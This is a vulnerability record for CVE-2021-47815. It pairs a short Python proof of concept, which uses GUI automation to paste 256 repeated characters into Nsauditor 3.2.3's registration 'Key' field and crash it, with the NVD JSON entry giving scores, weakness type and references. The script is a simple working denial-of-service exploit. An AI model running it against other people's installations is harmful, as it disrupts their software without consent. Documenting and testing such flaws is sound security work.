CVE-2021-47815

import pyautogui import time import pyperclip def exploit_cve_2021_47815(): """ CVE-2021-47815 PoC - NsAuditor 3.2.3 DoS via registration key field Description: Paste 256 repeated characters into the 'Key' field to trigger crash """ try: # Launch NsAuditor application # Assuming NsAuditor is already installed and running # Wait for application to load time.sleep(2) # Navigate to registration/license window # This may vary based on application interface pyautogui.press('alt') # Example: Access menu time.sleep(0.5) # Generate 256 repeated characters payload payload = 'A' * 256 # Copy payload to clipboard pyperclip.copy(payload) # Find and click on the 'Key' input field # Coordinates may need adjustment based on screen resolution # pyautogui.click(x=400, y=300) # Example coordinates # Paste the payload using Ctrl+V pyautogui.hotkey('ctrl', 'v') # Trigger submission or focus change pyautogui.press('enter') print("[+] Payload sent successfully") print(f"[+] Payload length: {len(payload)}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": exploit_cve_2021_47815()

{"cve": {"id": "CVE-2021-47815", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:27.020", "lastModified": "2026-05-01T21:01:30.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nsauditor 3.2.3 contains a denial of service vulnerability in the registration code input field that allows attackers to crash the application. Attackers can paste a large buffer of 256 repeated characters into the 'Key' field to trigger an application crash."}, {"lang": "es", "value": "Nsauditor 3.2.3 contiene una vulnerabilidad de denegación de servicio en el campo de entrada del código de registro que permite a los atacantes bloquear la aplicación. Los atacantes pueden pegar un búfer grande de 256 caracteres repetidos en el campo 'Key' para provocar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsasoft:nsauditor:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.7", "matchCriteriaId": "8404A51C-8F9C-43F0-9022-CE3D23974401"}]}]}], "references": [{"url": "http://www.nsauditor.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49965", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nsauditor-denial-of-service-poc", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}